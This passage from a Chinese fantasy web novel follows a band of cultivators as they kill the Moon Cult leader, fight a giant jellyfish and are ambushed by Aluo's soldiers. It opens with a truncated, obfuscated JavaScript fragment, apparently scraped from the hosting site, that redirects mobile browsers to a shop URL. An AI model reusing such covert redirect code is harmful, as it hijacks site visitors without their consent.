l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136749|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不稳,只好张开了一双翅膀维持平衡,不时扑棱一下,看起来既滑稽又可怜。 宋胡缨扳着脸道:“难受就对了,记得教训,以后不准再犯。” 司空玉在一旁看着,忍着笑道:“还得是李兄啊,坏主意就是多。” 李玉真要做慈父,坚决不承认这鬼点子是他出的,道:“不是我,我可舍不得。” 那么好的一包烤羊肉没了,魏小雨到现在还心疼。她啃了一口苹果,故意嚼得啧啧有声,道:“本来烤肉是给大家一起分的,让你们搞没了,现在连苹果也没得吃,馋不馋?” 墨墨沮丧地耷拉下了耳朵,小对眼爆发出破锣嗓子嗷地一声叫,态度十分激烈,仿佛在跟她吵架。魏小雨道:“诶,你还不服气。” 宋胡缨清了一下嗓子,示意它考虑好了再说话。小对眼怕它妈怕的紧,只好文明地喵了一声,从吵架改成了争辩。 魏小雨能听懂它的话似的,道:“饿了是吧,饿了也得等开饭啊。我比你还馋呢,这不也是得忍着么?” 小对眼:“嗷,嗷嗷嗷。” 魏小雨悠然道:“忍不了也得忍,你现在不是野猫了。既然跟着人生活,就得守人类的规矩。你看我,不是也得守着规矩过活吗……” 篝火的另一边,步云邪在附近找到了一个水塘,把沾血的衣裳洗了。他还不习惯蒙着眼干活,便解下了脸上的白布。 天气渐渐回暖了,水塘里的鱼游了出来。黑不溜秋的小鱼只有手指头粗细,远远地看着这边。步云邪朝那边瞥了一眼,望见了一圈涟漪。那条鱼的身体渐渐变成了石头,就这么沉了下去。 步云邪无意间杀了生,有点懊悔。古代有女子容华绝代,美得沉鱼落雁,步云邪没想到有一天自己一个大男人也有了这样的能耐,心情却糟得要命。 他的眼前一阵模糊,揉了揉眼睛,过了一阵子才好起来。他发现每次把东西变成石头之后,自己的视力都会下降一些。果然邪神的诅咒不是什么好东西,每次动用这股力量,不管是有意还是无意的,都要付出些什么作为代价。 步云邪生出了一点不好的预感,照这样下去,自己很有可能会失明。 “还是尽量不要用眼睛了……” 他拿布条把眼睛绑了起来,日子难过就难过吧,总比瞎了好。 他把衣裳放在盆里,起身往回走去。小路蜿蜒通向营地,要走一炷香的功夫才能回去,而他面前有什么东西挡住了光。 步云邪停了下来,确定前头有人,而且不止一个,至少有二三十个人。 周围弥漫起一股雾气,香甜中带着一点诱惑的味道,让人不觉间就松弛下来。这气息跟月亮山中的龙息十分相似,步云邪心中了然,是拜月教的人追过来了。 张夜来身后带着一群巫师,黑压压的拦住了步云邪的去路,透着一股强烈的压迫感。她道:“好俊俏的小瞎子,怎么一个人在这里啊?” 她的声音里带着嘲弄,又有些恨意。那么重要的满月盛会搞砸了,她不但在邪宗中名声扫地,也失去了古神的信任,此时已经到了穷途末路。 拜月教的大部分人都被雪崩活埋了,她成了个光杆教主,只有身边这些人了。步云邪能感到她身上的气势已经很衰微了,她就像个输光了一切的赌徒,不肯接受现实,红着眼还想翻最后一盘。 白天他们在镇子上闹出了这么大动静,想追踪他们太容易了。只是张夜来这样气急败坏的追过来也没什么意义,反而有点不自量力了。 营地就在前方不远处。步云邪觉得没有那么危险,放下了木盆,气定神闲地站着。 这样一个俊俏的小郎君,在月下就像玉琢的一般。谁能想得到,不久之前就是他扛着魏小雨,拖着上千人在月亮山谷里狂奔了好几圈,跟七进七出长坂坡的赵子龙有一拼,还引发了一场雪崩,至少砸死了三百来个邪修。 张夜来恨得咬牙切齿,觉得这小子简直是自己命中的克星,每次都是他坏了自己的好事。能不能抓到段星河都不重要了,不管怎么样,她都要宰了步云邪以解心头之恨。 她一示意,黑袍巫师们从四周包围过来。步云邪却一点也不慌,仿佛觉得区区一条丧家之犬而已,没什么好怕的。拜月教的咒术他都已经了然于心,破解之法也信手拈来。他越是淡定,张夜来就越是恼火,觉得他瞧不起自己。 “你不怕我?” 步云邪淡然道:“张教主生的这么美丽,我为什么要怕你。” 锵地一声,她拔出了剑,厉声道:“说好听的也没用,我要杀了你!” 步云邪道:“就因为我毁了你的满月盛会?” 月光照下来,张夜来的发丝散落在脸边,显得憔悴而又落魄。古神舍弃了她,族人们也对她十分失望。死了那么多人,众多邪宗还等着她给一个交代。除非她能抓到段星河,当众把他千刀万剐,否则她一点活路也没有。 张夜来知道自己不是他们的对手,段星河也不可能引颈就戮。她这次来,已经做好了死的准备。她的目光微动,冷冷道:“也不只是为了这个。” 步云邪寻思着营地就在附近,他刚才暗中向段星河使了火花心念咒。只要拖一拖时间,人就过来了。 他道:“那是为什么?” 张夜来也不急着动手,仿佛在最后的时光里也想跟人聊一聊。她注视着他道:“因为你拥有的我没有。” 步云邪被她引起了兴趣,道:“什么?” 他身边有很多人,每个人对他都很好。尤其是段星河,跟他简直秤不离砣。长眼睛的人都看得出来,他把步云邪当成最重要的兄弟。张夜来的神色有些嫉妒,又藏着羡慕,道:“有人在乎你。” 步云邪笑了,道:“你贵为教主,那么多人拜倒在你的石榴裙下,难道没人在乎你?” 张夜来缓缓道:“我没在乎过他们,他们也在心里恨我。我很清楚,所以我知道真心最难得。” 一直以来,她都是一副游刃有余的模样,玩弄着身边的男人。此时忽然流露出伤感的一面,就像个被辜负的可怜女子一般,让步云邪也有些猝不及防。他道:“你跟我说这个干什么?” 张夜来道:“我是忍不住想,如果你死了,他的真心能不能给我。” 步云邪道:“你说呢?” 张夜来也很惋惜,道:“我在土地庙对他一见难忘,还真想跟他拜堂成亲呢。” 步云邪有点意外,没想到这妖女也会对人动真情,道:“你喜欢他?” “也没有那么喜欢,但他是个很好的男人。”张夜来道,“只要在一起久了,说不定我可以拥有他的真心。” 说来说去,都绕不开真心两个字,她好像对此格外执着。步云邪道:“真心对你这么重要?” 张夜来身上碧色的灵光一现,脸上露出了几片青色的鱼鳞,耳朵也化作了鱼鳍的形状。她本来就是天池里的鱼精,花了上百年才修炼出人身。她看着远处的篝火,温暖的光芒微微跳动着,就像她们在深海里亮起的一点点红光。 她依稀又回到了在水中游弋的时光,她和姐妹们隔着水波看着远处热闹的人间,向往着将来上岸的那一天。 她有些憧憬,轻声说:“只要有真心,我就能变成真正的人。” 许多修炼的妖物要成为人,需要有缘人亲口来封,但只有真心实意的认可才起作用。这些年来她陷在执念里,害了不少人,也被不少人辜负过,到头来还是没能得到想要的东西。 步云邪叹了口气,道:“做人也没什么好的,不值得付出这么多。” “总比做妖好一点。”张夜来执着道,“或许下一个人……就会真心爱我。” 黑暗中,有脚步声朝这边奔了过来,他等的人到了。步云邪露出了淡淡的笑容,道:“你还有机会么?” 96.邪神之眼 四 张夜来凄然一笑,知道自己已经穷途陌路了。 段星河刚才坐在篝火边,刹那间感到心念闪动,回头望了过去。周围弥漫起一阵白雾,他有种不妙的感觉,立刻和伏顺一起赶了过来。 水塘前,一群黑袍巫师围着步云邪,带头的人正是张夜来。 步云邪眼上蒙着白布,站在人群之中,毫发无伤。段星河道:“阿云,你没事吧?” 步云邪还没开口,张夜来衣袖一拂,不满道:“小相公,你怎么光知道关心你兄弟,就不能看我一眼么?人家差点就跟你拜堂成亲了呢。” 段星河就记着在土地庙被她们扒光了五花大绑的事了,只把她当成个爱强抢良家妇男的邪教妖女,无情道:“什么差点拜堂,你少胡说。” 张夜来笑了,就知道他会是这种反应,眼神却有些落寞。她轻声道:“易求无价宝,难得有情郎。好得很……终究是我不配。” 她提起了剑,神色变得凌厉起来,道:“既然你这么无情,我就杀了你好了。” 段星河沉声道:“你不是我的对手。” 张夜来根本不在乎自己的性命,也不在乎身边的这些手下了,简直就像是故意往刀口上撞似的。她冷冷道:“少废话,动手!” 步云邪看不见,伏顺在旁边护着他。那一群巫师蠕动着嘴唇,使出了他们的最得意的咒术。嗡嗡的咒语声响起来,伏顺感到了一阵疼痛,就像被一群马蜂围着似的,道:“哎呦,又来这套!” 步云邪将一道灵光凝结在手中,默念破解之法,金色的灵光飞散开来,净化了周围弥漫的邪气。伏顺顿时感觉轻松了许多,一点点金光护在段星河身上,让人无法伤他。 段星河冲进人群中,提剑一阵砍杀。这些人作恶多端,杀了也是为民除害。段星河下手毫不留情,转眼间就把那些巫师杀的尸横遍地。剩下的几个人恐惧的不行,坐在地上向后缩去,纷纷道:“少侠饶命,饶命!” 段星河冷冷道:“滚!” 那些人连忙爬起来,也顾不上教主的死活了,转身就跑。 张夜来没阻拦他们,反而一副淡漠的表情,早就不在乎生死了。 这回她真的成了个光杆教主,一无所有了。段星河看着她,道:“你明知道赢不了,为什么还要来?” 张夜来漠然道:“你们把人牲都放跑了,冒犯了古神,还害死了那么多人。不抓你,我怎么给所有人一个交代?” 她说话声中,忽然发狠朝步云邪砍了过去。段星河眼疾手快,一剑挡住了她的兵刃,重重一掌将她打得跌倒在地。张夜来坐在地上,身上沾满了尘土,一副狼狈的模样,眼里充满了对他们的恨意。 段星河对这样的妖女一向不怜香惜玉。他提剑指着她,道:“被古神诅咒的畸变怎么祛除?” 张夜来冷笑了一声,声音忽然柔了起来,道:“你想知道啊,来亲亲我,我就告诉你。” 伏顺知道她不怀好意,道:“大师兄,别听她的,这女人要骗你过去一口吃了呢!” 张夜来抬手挽了一下头发,做出一副温柔的模样道:“我哪有那么大的本事。小相公,你若是不愿意亲我,那便真心诚意地说一句,你是我见过最漂亮的人,我喜欢你。姐姐就把你想知道的都告诉你。” 到了这个地步,她仍然没放弃那一丝幻想。可真心,又岂是一时片刻就能生出来的。 步云邪想说什么,却还是保持了沉默,没有干涉他。段星河的神色冷淡,道:“抱歉,你好不好看我瞧不出来,我不喜欢你这样的女子。” 张夜来的脸色顿时变得难看起来。伏顺还要火上浇油,道:“你这丑八怪也不照照镜子,看你现在是什么模样,也好意思勾引我大师兄!” 张夜来一向以自己的容貌为傲,今日却被他们这样羞辱。她恶狠狠地盯着他们,道:“好,那我就告诉你们——古神的诅咒没人能解除。你们会一直这个样子,谁也救不了你们!” 她看向了步云邪,到底还是最恨他,道:“邪神之眼的力量凡人根本承受不住。你的眼睛很快就会失明,从眼眶向四周烂起。最终体无完肤,在痛苦哀嚎中死去。” 步云邪面无表情,仿佛这一切跟他无关。类似的情形人面疮也说过,他们都清楚她不是在危言耸听。如果真有那样一天,他们真的没办法面对。 刹那间,段星河的体内涌起了一股煞气,心中杀念顿生。他泄愤似的一剑贯穿了她的胸膛。张夜来浑身一震,恍惚地抬起头,没想到他会对自己这么狠。她露出了凄然的笑容,好像终于获得了解脱。 她慢慢地抬起手,攥着剑道:“臭男人……别装什么好人了。你一身煞气,迟早要堕魔的,我在地狱里等着你。” 她的话仿佛是诅咒,就算死也要让他不得安生。段星河把剑猛地拔出来,血顿时淌了一地。张夜来倒了下去,就算死了也一直望着他,毫无生机的眼睛就像案板上的死鱼。她的脸上浮现出了一片片鱼鳞,身上馥郁的香气化作了一阵腐臭的气息,这才是拜月教的人隐藏在美丽表象下的真面目。 她的尸体渐渐萎缩起来,化成一摊飞灰,在夜风里被吹散了。伏顺摆了摆手,道:“死的这么干脆?” 步云邪在咒术辑录上见过,沉吟道:“她应该是接受了邪神的力量,作为代价,一旦死了,身体立刻会被回收。” 伏顺啧地一声,道:“这些人不干好事,没一个有好下场。” 步云邪淡淡道:“回去吧,饭应该做好了吧。” 三人回到了营地,赵大海他们不知道发生了什么,正准备来找他们。锅里的玉米粥已经熬好了,冒着温暖的热气。段星河盛了一碗粥,在篝火边坐着,想着刚才张夜来的死状,心里隐隐生出了一丝惋惜。 她好像对他有几分情意,却不知道是真是假。像这样的女人,一生中可能用甜言蜜语骗过很多男子。段星河不想深究她的话有几分是真是假,反正以他的性格也不会跟这种人有交集。 他在意的是,他不明白自己为什么一瞬间会生出那么强烈的杀意。一想到当时的情形,他体内的煞气又涌动起来。 他张开手掌,手心里隐约浮起一点黑气,不知道诅咒侵蚀到了什么程度。如果自己是一张白纸,现在应该被墨迹染黑了一大半了吧。 伏顺坐在篝火对面,眉飞色舞地把刚才发生的事说了一遍。李玉真惊讶地睁大了眼,道:“拜月教的人来了,怎么不喊我们?” 伏顺兴奋道:“就那么几个小喽啰,我们轻轻松松就能对付了。你是不知道,大师兄把那些人打得落花流水的,我们三个人实在是太厉害了!” 赵大海道:“你不是没动手么?” 伏顺道:“啊……但是我也在嘛,难道不能记我一份功劳?” 赵大海知道他的德行,一打起来就往后躲,道:“你就硬蹭吧。” 摆脱了拜月教的纠缠,大家都松了口气。步云邪注意到段星河一直没说话,低声道:“怎么了?” 段星河的神色有些阴郁,对着篝火静静地出神。步云邪知道他在想什么,安慰道:“别太担心,咱们快到巴蜀了。蜀山的长老活了将近千年,什么都见识过,肯定有办法解决的。” 不久之前,段星河还说过这样的话来安慰步云邪。如今听了张夜来的话,反倒是段星河的心念动摇起来。 伏顺身后拖着一堆触手,该吃吃该喝喝,反正只要不看就当不存在。宋胡缨脸上也挤满了耳朵,一副听之任之的态度。李玉真悄悄地看了许久,觉得就算是多余的耳朵长在她脸上也不难看。六幺坐在火边慢慢地擦着剑,已经能跟这二十根手指头相处了。结香忙着做针线活,赵大海需要一块结实一点的包脸布,伏顺也需要布条来绑触手。大家对彼此的新模样已经习惯了,甚至还能苦中作乐地自嘲几句,但段星河心里一直沉甸甸的。他自己不幸受到侵蚀就算了,兄弟们好端端地跟他来到这里,总不能让他们一辈子都这样过。 他低声道:“是我不好,没保护好大家。” 步云邪觉得他没必要背负这么大压力,道:“别这么说,不是你的错。” 他的眼睛不能视物,还在安慰自己。段星河越发不好受了,初出茅庐的时候,他天不怕地不怕,心气高的很。如今经历了这些事,他才意识到世间不但有妖魔鬼怪,更有些凌驾于规则之上的大他者,不可直视,难以名状,根本不是人类能够抗衡的。他感到了一阵强烈的无力感,除了成仙,根本没有其他的办法跟那些东西抗衡。 这个世界人人都想飞升,无论贫富贵贱,上至皇帝老儿,下至万象门的疯子们,都为了成仙不择手段。众生或是欠缺机缘,或是天分不足,就算蜀山的长老们一生修持正法,数千年来成仙的也没有几个。段星河叹了口气,不知道自己有没有那样的运气,可以成为其中之一。 他沉默着从怀里掏出了羊皮地图。他们已经到了夷州与巴蜀的交界处。蜀山就在西边不远,再走半个月应该就能到了。 总算要离开这个荒蛮的地方了,段星河下意识松了口气。巴蜀是凤神的地界,修行的大部分是正道宗门,到了那边应该就能安全了。 他收起了地图,道:“好好休息,明天早点走。” 步云邪还不习惯蒙着眼的日子,走了几步就找不到帐篷的方向了。段星河伸过手,牵着他往前走去。伏顺坐在一旁,扭头对赵大海道:“帮我把触手绑起来,编个麻花辫。” 赵大海嘴上嫌麻烦,还是给他绑了起来,一边道:“人家都睡觉去了,你还要绑辫子。” “不绑怎么睡觉?”伏顺道,“这玩意儿坏得很,根本不听话。睡着了钻你耳朵眼,你怕不怕?” 赵大海打了个寒战,觉得那还是绑起来的好。片刻收拾完了,众人各自回帐篷休息。篝火静静地燃烧着,把木柴点的劈啪作响。头顶的月亮温柔,远处吹来渐暖的春风,这一夜过得格外宁静。 次日一早,林间鸟鸣啁啾。段星河很早就醒了,坐在一根大树桩上绑头发。小对眼过来蹭了蹭他的脚,咪呜咪呜地夹着嗓子,想跟他讨点牛肉干吃。段星河低头道:“一会儿开饭,先去跟瓜皮玩吧。” 赵大海要做饭了,对伏顺道:“去打桶水来。” 伏顺打着呵欠,头发也没梳,提起桶往河边走去。结香给魏小雨扎完了揪揪,道:“好了。” 魏小雨穿着一件粉红色的夹袄,晃了晃脑袋,从帐篷里跑了出去。她见伏顺提着桶走了,大声道:“三师兄,等等我,我也去!” 一大一小两个人去了河边,河水很清澈。哗啦一声,伏顺把桶扔进了河里,涟漪一圈圈荡开,水里的小鱼小虾都逃散了,深处的水草不住动荡。魏小雨蹲在岸边看了一阵子,忽然哈哈地笑了起来,道:“好好玩啊,你看有好多水母!” 伏顺望了过去,见岸边的阴凉处,有许多半透明的东西一张一合的,长着许多须子,上上下下的到处游动。伏顺喔了一声,道:“桃花鱼嘛,每年都这时候出现的。” 那些水母小的有拇指那么大,大的有手掌那么大,就像一个个小伞一样。天暖和了,水母一拱一拱地游来游去,确实很有趣。 魏小雨从口袋里掏出一块没吃完的绿豆糕,捏碎了洒在水里。那些水母一拥而上,争相抢食点心。一堆大大小小的伞聚集过来的情形十分奇妙,魏小雨看了一会儿,发现有一只大一点的水母特别霸道,仗着自己长得有巴掌大,就一拱一拱地把其他小一点的水母都挤走了。 这么小的东西也互相排挤,魏小雨有点不开心了,道:“它欺负人。” 伏顺也看见了,道:“弱肉强食嘛,要不然它能长这么大呢。走吧,等着水做饭呢。” 魏小雨的正义感上来了,撸起袖子道:“不行,我得教训它一下。” 说话声中,她把一道紫色的灵光凝在手上,朝河里弹了过去。灵光打在那只大一些的水母身上,它受到了惊吓,一下子缩了起来。魏小雨叉起了腰,道:“让你欺负别人。” 紫色的灵光没有散去,而是包裹着那只水母,渐渐渗透进去。那只水母浑身颤抖,须子像直竖的汗毛似的,直挺挺地向四面八方伸着。魏小雨眨了眨眼,自己也没有特别用力,难道把它弄得很疼吗? 就在这时候,强烈的灵光从它的身体里迸发出来。哗啦一声,一个庞然巨物出现在他们面前。 那两个人去打水,半天也没回来。赵大海还等着水煮饭,拿着他的大勺道:“磨蹭什么呢?” 段星河也觉得奇怪,朝河边走过去,道:“我去看看。” 他穿过树林,就见呼啦一声,一只硕大的怪物从水里冒了出来。那东西有一人高,半圆形的身体像伞一样,下面长着一大圈须子,正在张牙舞爪地摆动着。 水花溅的到处都是,魏小雨和伏顺抬头望着那只巨大的水母,一脸愕然。 水母身上还萦绕着紫色的灵光,在空中一张一合地漂浮着。这玩意儿小的时候还挺有趣,长大了却吓人得很。它肉乎乎的一团,没鼻子没眼睛的,有种难以形容的压迫感。 伏顺惊讶的合不拢嘴,没想到魏小雨的灵力有这么强,居然徒手就能搓出一个怪物来。他后退了一步,道:“你怎么弄的?” 魏小雨茫然道:“我不知道啊。” 水母虽然不清楚发生了什么事,但受本能的支配,挥舞着须子朝这边扑了过来。它个头小的时候吃小虫小虾,长大了就要吃人。 伏顺被它吓了一跳,砰地一声,背后的十来条触手也爆出来了 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段星河不知道这家伙是哪来的,还以为是什么厉害的妖物,没想到放大招砍了条小杂鱼。他回头道:“没事吧?” 魏小雨搔了搔头,没想到这家伙这么不经打,白长了这么大个。伏顺走了过去,用脚踢了踢落在岸边的脑袋盖,道:“捡回去吧,拍个黄瓜凉拌一下。” “噫,”魏小雨皱起了鼻子道,“算了吧,怪恶心的。” 伏顺寻思着没有醋也不好吃,便提起了水桶,道:“那就回去吧。” 赵大海煮着玉米粥,周围坐着一群人。伏顺坐在大锅旁边,把刚才发生的事说了一遍。司空玉笑了,道:“有这么好玩的事,早知道我也去了。” 伏顺还有点心有余悸,道:“没那么有意思,呼啦一下子变成那么大一个,亲眼看见还是挺吓人的。” 段星河的神色有点凝重,不知道在想什么。片刻众人收拾了东西,继续往前走。步云邪坐在大车上,段星河在车里陪着他。步云邪还在寻思早上的事,道:“那只水母有多大?” 段星河道:“脑袋比这个车厢大,须子就更长了。” 一只寻常的水母能变得那么大,步云邪觉得有些难以置信,道:“小雨有那么大能耐?” 段星河嗯了一声,要不是亲眼所见,他也不敢相信。 两人都想起了她在月亮山谷里吸引了许多邪修的事,感觉事情可能没有那么简单。当时那些人就像丧尸一样,伸着手嗷嗷嚎叫,东倒西歪地撵着他们围追堵截。那情形只要见过一次,这辈子都忘不了。 魏小雨出生之前,师父用黑曜石在青岩山的祭坛上摆了个法阵,说是借太阴之力,汇集了四方灵气孕育了这样一个孩子。后来师父确实得偿所愿,生了个天赋了得的女儿,但付出的代价也很大。包括他们今天来到天外天的机缘,都是从魏小雨拔下太阿剑的那一刻开始的。 她是先天玄阴圣体,灵力随着年龄的增长越来越强大。她对于这件事还没有清晰的认知,跟这个年龄的小孩一样,每天还是吃了睡,睡了玩。她的力量对于这里的邪修来说有致命的吸引力,带着她同行就像带着一块肉从狼群中穿行一样,会招来无穷无尽的危险。 “得让她控制一下灵力,尽量别引人注意。” 步云邪摇了摇头,道:“再怎么小心,也总有不小心暴露的时候。再说那些人闻着味儿就来了,根本藏不住。” 之前的饿道人就对魏小雨垂涎三尺,那些邪修简直是防不胜防,让人头疼。 魏小雨的心大得很,没把那只水母的事放在心上,回到营地就去找墨墨玩了。她把一个苹果掰成两半,自己一块它一块,好的跟兄弟俩似的。 她才十二岁,步云邪不想让她有心理负担,道:“也不能怪她。她生来就这样,没得选。” 段星河嗯了一声,道:“她是师父唯一的女儿,咱们得把她好好地带回去,交给师娘。” 师父已经不在了,小雨是师娘在世上唯一的亲人了,他们必须保护好她。就快到蜀山了,也可以问一问那些长老,如何隐藏她身上的气息。只要不引起别人的注意,也就不会招来麻烦了。 春天的气息越发浓郁了,路边的树发出了新芽,到处都充满了生机。离开了夷州,再也没有那种昏天黑地的感觉了。众人往前走了半个月,到了巴蜀的地界上,感到了一阵久违的祥和,几乎与外面的世界一样了。 最近这一路都很顺利,没碰到妖魔鬼怪,也没再遇见什么骗子。果然还是修正法的地方好,不用提心吊胆过日子的感觉格外轻松。 自从跟青龙战斗过之后,段星河感觉自己似乎领悟了什么。这天他在月夜下打坐,其他人都睡了,营地里静悄悄的,只有篝火燃烧的声音轻轻传来。 清风从身边拂过,他吸取着太阴之力,缓缓吐纳,感觉周身的灵力涌动着,骤然冲破了瓶颈。他观照见自己丹田内的金丹开出了一朵莲花,花朵中又孕育出一个自我,不住散发出光华。经过了这么多历练,他终于到达了元婴期。段星河十分喜悦,在此之余,又有些百感交集。 那股冲关的灵力极强,像涟漪一样扩散到周围。步云邪虽然眼睛看不见,感知能力却比从前更强了。他觉察到了段星河的变化,拥着被子坐了起来,倾听着那边的声音。 良久段星河收了功,长舒一口气,心中十分喜悦。他掀开了帐篷,见步云邪还没睡,兴奋道:“阿云,我到元婴境界了!” 步云邪微微一笑,道:“我感觉到了,恭喜你。” 在这个世界修炼确实事半功倍,与古神战斗的经验也十分难得。大多数人遇上了邪神根本无法全身而退,像他们这种越了好几级还能打赢的,实在是极其罕见了。 经历了那一场战斗,步云邪的修为也有所提升。只是他最近眼睛受了诅咒,心情低落,根本无心修炼。 段星河见他神色落寞,忽然意识到他现在不能视物,自己在他面前这么高兴很不合适。 他轻声道:“抱歉,我不是有意的。” 步云邪摇了摇头,道:“你练成了,我很替你高兴。” 段星河嗯了一声,从小步云邪就一心向着他好,段星河练成了什么招式,阿云比他还高兴。起初他是觉得段星河修为高了,能替自己赶跑刘正阳,免得那臭小子总来烦人。两个人一起长大,他不知不觉已经习惯于仰仗大师兄带来的安全感了。 虽然嘴上不说,他其实跟赵大海他们一样,很为有这么个可靠的大师兄自豪。 “慢慢练吧,反正我不急。”他侧耳听了一下外头,“什么时候了?” 段星河道:“子时了。” 步云邪躺了回去,平静道:“早点休息吧,明天还得赶路呢。” 97.邪神之眼 五 当天夜里,段星河刚睡着,忽然听见远处传来一阵马蹄声。他一动,步云邪也醒了。段星河掀开了帐篷,道:“有人来了?” 巴蜀的地界上,过路的应该也是正道宗门的人,不会找他们的麻烦。那一队人骑着马,大约有四五十个人。伏顺他们也醒了,从帐篷里钻出来道:“这么晚了,还赶路?” 那一队人越来越近,火光照亮了他们的模样,那些人穿着黑色劲装,挎着苗刀,都是夷州王的亲兵。带头的脸上戴着个铜面具,不是别人,正是阿萝。 自从在月亮山遭遇了雪崩,阿萝带来的人折损了一半,气得七窍生烟。他好不容易把人挖出来了,休整了数日,一路打听着他们的踪迹,追了过来。 段星河皱起了眉头,道:“阴魂不散。” 阿萝远远地望见了他,恨得咬牙切齿,厉声道:“总算找到了,给我杀——” 亲兵们二话不说,拔刀就冲了过来。司空玉带着结香和小雨躲在树丛里,扭头道:“你要一起来吗?” 伏顺有自知之明,自己打架不行,刀剑无眼,要是被砍得缺胳膊断腿就亏大了。他低着头钻过来,道:“义父,我来保护你们。” 司空玉和他一起躲了起来,不冒头就算给那几个能打的帮忙了。 那一队士兵都是夷州王的亲卫,修为了得,一个个都能跟六幺打的不相上下。宋胡缨跟他们过了几招,意识到这些人极难对付。 阿萝飘浮在半空,冷冷道:“给我把他们都杀光!” 一人提刀朝李玉真砍过去,李玉真的符箓还没画完,被他硬生生打断了。他一弯腰,从那人的刀风下躲过,一边喊道:“你们夷州人讲不讲武德了!” 那人不理他,又是一刀砍过来。宋胡缨分身乏术,喊道:“保护好自己!” 李玉真不想被她小看了,又使不出法术来,急的满头大汗。阿萝傲然道:“让你抢我法宝,识相的就赶紧把左胳膊卸下来,本座就饶你一命!” 捆神索钻进李玉真的胳膊里这么久,一点动静都没有。李玉真也想把它弄出来,但要是失去一条胳膊作为代价,那还是算了。他道:“有本事你自己来拿,找这么多人来算什么本事。” 阿萝冷笑了一声,道:“杀鸡焉用宰牛刀,想让我动手,你还不配。” 一把刀砍了过来,李玉真闪身一躲,人虽然没事,道袍却被撕裂了大半。赵大海大吼一声,扛着盾牌冲了过来,把他周围的几个人都撞翻了。 李玉真感激道:“多谢你,好兄弟!” 赵大海看出那些人冲他来的,道:“你躲在我后面。” 对方人太多,饶是六幺等人的修为高,也对付不了这么多人。步云邪眼睛上还蒙着布,听见周围刀兵叮叮当当的,皱起了眉头。他道:“别管我了,去帮他们。” 段星河怕有人偷袭他,没有离开。阿萝看着他俩站在一起,越发恼火起来,道:“姓段的小子,你还挺沉得住气的,这样都能袖手旁观?” 段星河不受他的激,道:“你不好好在大悲寺待着,又出来做什么?” 他不说这话还好,一提起来阿萝就气的七窍生烟。他道:“我爱去哪儿就去哪儿,你凭什么关我?” 段星河道:“我没想关你,只是希望你能想开一点。老这么怨气冲天的,你不累么?” 阿萝冷笑了一声,道:“本座开心得很。你旁边这小瞎子是怎么回事,上次见不还好好的么?” 步云邪淡淡道:“没事,就是看了点不该看的东西,长了针眼。” 阿萝哼了一声,道:“瞎都瞎了,还在这嘴硬。你看不见了,你说他会不会嫌弃你?” 步云邪仿佛觉得这话十分可笑,淡然道:“别挑拨离间了,你大老远追过来干什么。” 阿萝恨声道:“本座要拿回我的法器,还要把你们都杀了——” 他袍袖一挥,一道罡风席卷过来,营地里顿时一片飞沙走石。步云邪的衣袍被吹得烈烈飞舞,往后退了一步。这人虽然心狠,却也经历了许多苦楚。段星河皱眉道:“我不想伤你,别逼我动手。” 之前他还在金丹境界,比不上阿萝三百年的修为。如今他到了元婴境界,阿萝的修为却折损了不少,两人再打起来,谁输谁赢还真不一定。阿萝最讨厌他这种居高临下的态度,道:“废话少说,拔剑!” 说话声中,他周身生出了无数藤蔓,窸窸窣窣地朝这边爬过来。周围的草木受到他的召唤,都开始疯长。 步云邪虽然用布蒙着眼,耳朵却十分灵敏,能感知周围的变化。他轻身一跃,躲过了几条缠过来的藤蔓。阿萝更恨段星河,只让藤蔓追着他纠缠,那些藤子上都生着密密的小刺,扎在身上便要出不少血。 这边打的不可开交,几个亲兵注意到树丛里有半个脑袋探出来,窥看这这边。一人大步过去,把伏顺从灌木丛里拖了出来,他吓了一跳,拼命挣扎,喊道:“放开我!” 司空玉一手按住了魏小雨的脑袋,让她别出声,结香紧闭着嘴,骇得瑟瑟发抖。那亲兵只注意到了伏顺,没发现其他人。伏顺也是够讲义气,没出卖他新认的义父,只是一个劲儿地喊道:“别扒拉我,放手!” 那人把他拖在地上,伏顺的驼背蠕动着,极其诡异。那亲兵觉得奇怪,道:“这驼背还会动?” 他一刀挑破了伏顺的后背,本来以为会鲜血四溅,却没想到几条硕大的触手钻了出来,一下子把那人抽倒在地。那些触手本来被布条绑着,一下子得到了解放,噼里啪啦地在空中乱挥。 其他亲兵吓了一跳,道:“什么妖物!” 伏顺一脸倒霉道:“都说了让你别扒拉我,这玩意儿不听话,钻出来就没人能管了!” 那些亲兵不信邪,提着刀追上来,要连触手带他一起砍了。伏顺吓坏了,连忙拔腿就跑。宋胡缨砍翻了一个人,就见伏顺惨叫着朝这边奔过来,身后的须子挥舞着,混乱中绊倒了两个亲兵。 “义父,救命啊——” 这人虽然打架不行,搅场子却是一流的。对面的人看着他诡异的模样,都有些害怕。犹豫之际,六幺冲上去砍倒了两个人,抬眼一望,剩下的还有十七八个。 这些亲兵各个都不好对付,更不要说还有那个阿萝在。段星河跟他打了好一阵子,也只扯了个平手。步云邪心中焦急,此时就听身后窸窸窣窣一阵响,却是一根粗壮的藤子悄然绕到了身后,勒住了他的脖子! 步云邪来不及反应,脚下一空,已经被举了起来。 段星河被几条藤蔓困在地上,周围都是密密麻麻的荆棘,他用力劈砍,藤蔓却源源不断地生出来,缠住了他的手和脚。他被困在牢笼之中,步云邪被高举在天上,两个人都拼尽了力气挣扎,却没办法摆脱。 阿萝得意道:“这就是你最瞧不起的野草,像冤魂一样缠着你,喜欢吗?” 段星河怒道:“你想干什么!” 阿萝冷笑道:“臭小子,你最着紧这个小瞎子是不是?我活活勒死他,你心不心疼?” 步云邪的身体腾空,被勒的双腿乱蹬,脸色已经青了。段星河怒道:“你放开他,有什么冲我来!” 阿萝恨得咬牙切齿,道:“不用着急,杀了他,我就杀你。” 步云邪被勒的喘不上气,手上也没了力气。李玉真急了,想过来帮忙,一根藤蔓扫过来,把他甩飞出去。赵大海冲了过来,把盾牌当成斧子,朝藤蔓的根部用力砍下去。藤蔓纹丝不动,反而用枝叶覆盖了他,把他也紧紧地缠住了。 宋胡缨和六幺被一群亲兵缠着,没法过来救援。步云邪被勒的要窒息了,耳中一阵嗡嗡作响,无数藤蔓缠着他的身体,想要把他撕碎。步云邪脸上的蒙眼布被扯掉了,恍惚间,他想起了自己有邪神之眼,竭力向下望去。 阿萝正在他面前,要慢慢欣赏步云邪受折磨的模样。他被那一双眼注视着,忽然感到一阵僵硬。银色的竖瞳摄住了他的灵魂,阿萝暗道了一声不好,身体已经变成了一座石像! 